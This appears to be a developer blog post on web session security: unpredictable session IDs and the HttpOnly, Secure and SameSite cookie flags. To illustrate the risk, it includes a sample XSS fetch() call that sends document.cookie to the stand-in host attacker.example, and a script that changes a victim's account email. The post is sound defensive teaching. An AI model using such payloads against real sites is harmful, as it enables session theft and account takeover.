When developers think about authentication security, passwords usually get most of the attention.
Use strong passwords. Hash them properly. Add MFA. Rate-limit login attempts.
All of that matters.
But something interesting happens after a user successfully logs in:
The password usually stops being involved.
The application still needs a way to recognize that user on every request. In many traditional web applications, that job is handled by a session and a cookie containing the session identifier.
And if an attacker gets that identifier, they may not need the user's password at all.
In this post, we'll look at how sessions work, how cookies fit into the process, and the cookie settings web developers should understand.
HTTP Doesn't Remember You
HTTP is stateless.
Imagine a user sends this request:
GET /login HTTP/1.1
Host: example.com
Then later:
GET /dashboard HTTP/1.1
Host: example.com
From HTTP alone, there is nothing inherently connecting those two requests to the same authenticated user.
The server needs some way to remember:
This request belongs to the user who logged in earlier.
That's where sessions come in.
A typical authentication flow looks something like this:
User submits credentials
↓
Server verifies credentials
↓
Server creates a session
↓
Server generates a session ID
↓
Session ID is sent to the browser
↓
Browser sends it with future requests
After a successful login, the server might respond with:
HTTP/1.1 200 OK
Set-Cookie: session_id=a8f19d27c4e91b72; Path=/
The browser stores the cookie.
On a later request:
GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72
The server reads the session ID and looks it up.
Conceptually, the application might store something like:
sessions["a8f19d27c4e91b72"] = {
userId: "khg5293",
role: "user",
authenticated: true
};
The browser did not send the password again.
It only sent the session identifier.
Cookies and Sessions Are Not the Same Thing
Cookies and sessions are often discussed together, so it is easy to treat them as the same thing.
They are not.
A cookie is data stored by the browser and sent with matching HTTP requests.
A session is application state associated with a user.
In a traditional server-side session model:
Browser
session_id=a8f19d27c4e91b72
↓
Server
a8f19d27c4e91b72
↓
{
userId: "khg5293",
role: "user",
authenticated: true
}
The browser holds the identifier.
The server holds the session state.
This distinction matters because the session ID becomes the link between the browser and the authenticated account.
Why Session IDs Matter
Suppose an attacker somehow obtains this value:
session_id=a8f19d27c4e91b72
They may be able to send:
GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72
If the server sees a valid authenticated session, the request may look legitimate.
The attacker may never need to know the password.
This is why session identifiers are valuable.
In many applications, possession of a valid session token is enough to act as the authenticated user until that session expires or is invalidated.
That makes the session ID behave a lot like a temporary credential.
Session IDs Must Be Unpredictable
A session identifier should never be easily guessable.
This would be a terrible design:
session_id=1001
session_id=1002
session_id=1003
If session IDs follow an obvious pattern, an attacker might simply try nearby values.
Another bad example would be building a session ID from predictable input:
const sessionId = username + Date.now();
It may look unique, but uniqueness is not the same thing as security.
Session IDs should be generated using a cryptographically secure random number generator.
In Node.js, for example:
import crypto from "crypto";
const sessionId = crypto.randomBytes(32).toString("hex");
console.log(sessionId);
That could produce something like:
63b6910ef2815cb79234af20d8a815332adf36f46d5f86108be34778176cb133
The important property is not that the value looks complicated.
It is that an attacker cannot realistically predict the next valid value.
Protect the Cookie With HttpOnly
JavaScript running in a page can normally access cookies through:
document.cookie
That becomes dangerous when an application has a cross-site scripting vulnerability.
Imagine malicious JavaScript manages to run inside your site:
fetch(
"https://attacker.example/collect?cookie=" +
encodeURIComponent(document.cookie)
);
If the authentication cookie is readable by JavaScript, the session identifier could potentially be exposed.
The HttpOnly attribute helps reduce that risk.
Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly
An HttpOnly cookie is still sent with normal HTTP requests.
But JavaScript cannot directly read it through:
document.cookie
For an authentication cookie, this is an important protection.
HttpOnly Does Not Fix XSS
There is an important limitation.
HttpOnly makes direct cookie theft harder, but it does not make an XSS vulnerability harmless.
If malicious JavaScript is already running in the victim's browser, it may still be able to perform authenticated actions.
For example:
fetch("/api/profile/email", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
email: "attacker@example.com"
})
});
The JavaScript does not need to read the session cookie.
The browser may attach it automatically.
So the distinction is:
HttpOnly helps protect the cookie itself.
HttpOnly does not eliminate XSS.
Those are separate security problems.
Use Secure
Authentication cookies should also generally use the Secure attribute.
Set-Cookie: session_id=a8f19d27c4e91b72; Secure
This tells the browser to send the cookie only over HTTPS.
A stronger configuration combines both attributes:
Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly; Secure
Each attribute protects against a different problem.
HttpOnly
↓
Reduces direct JavaScript access to the cookie
Secure
↓
Restricts the cookie to HTTPS connections
Neither replaces the other.
What About SameSite?
Another cookie attribute developers frequently encounter is SameSite.
You may have seen values like:
SameSite=Strict
SameSite=Lax
or:
SameSite=None
SameSite controls when a browser sends a cookie during requests involving different sites.
This matters because browsers automatically attach cookies to matching requests.
Consider this situation:
User is logged into:
account.example
Browser contains:
session_id=abc123
The user then visits:
evil.example
That site causes the browser to make a request to:
account.example
The security question becomes:
Should the browser include the account.example session cookie?
That behavior is closely related to Cross-Site Request Forgery, or CSRF.
SameSite=Strict
Strict is the most restrictive option.
Set-Cookie: session_id=abc123; SameSite=Strict
The browser generally avoids sending the cookie in cross-site requests.
That gives strong cross-site protection.
But it can also affect legitimate navigation.
For example, a user clicking a link from another website into your application may arrive without the cookie being included on that initial request.
That may or may not be acceptable depending on the application.
SameSite=Lax
Lax provides a middle ground.
Set-Cookie: session_id=abc123; SameSite=Lax
It restricts cookies in many cross-site scenarios while still allowing them in certain top-level navigation cases.
Conceptually:
More restrictive
Strict
↓
Lax
↓
None
Less restrictive
For many traditional web applications, Lax is a reasonable starting point.
SameSite=None
Sometimes an application legitimately requires cookies to work across sites.
In that case:
Set-Cookie: session_id=abc123; SameSite=None; Secure
Cookies using SameSite=None must also use Secure in modern browsers.
So this:
Set-Cookie: session_id=abc123; SameSite=None
is not the intended modern configuration.
Instead:
Set-Cookie: session_id=abc123; SameSite=None; Secure
The important point is that SameSite=None should be a deliberate choice.
It should not simply become the fallback whenever another setting breaks something.
Putting the Cookie Flags Together
A typical session cookie might look something like this:
Set-Cookie: session_id=63b6910ef2815cb7; HttpOnly; Secure; SameSite=Lax; Path=/
Each part has a purpose.
session_id
↓
Identifies the authenticated session
HttpOnly
↓
Prevents direct JavaScript access
Secure
↓
Restricts transmission to HTTPS
SameSite
↓
Controls cross-site cookie behavior
Path
↓
Controls which paths receive the cookie
No single flag makes a session secure.
Security comes from combining multiple controls.
A Quick Session Cookie Checklist
For a traditional cookie-based session system:
[ ] Generate session IDs using cryptographically secure randomness
[ ] Never make session IDs predictable
[ ] Use HTTPS
[ ] Set HttpOnly on authentication cookies
[ ] Set Secure on authentication cookies
[ ] Choose an appropriate SameSite policy
[ ] Keep cookie scope as narrow as practical
[ ] Treat session IDs as credentials
Final Thought
Developers put a lot of effort into protecting passwords.
But authentication security does not end when the login succeeds.
After authentication, the application needs another way to recognize the user.
In many web applications, that eventually comes down to something like:
Cookie: session_id=a8f19d27c4e91b72
The password may no longer be part of the request.
The session identifier is.
So from an attacker's perspective, the question may stop being:
How do I learn khg5293's password?
and become:
How do I get a valid session?
That is why authenticated session IDs deserve to be treated like credentials.
Because for as long as the session remains valid, that is effectively what they are.
Top comments (0)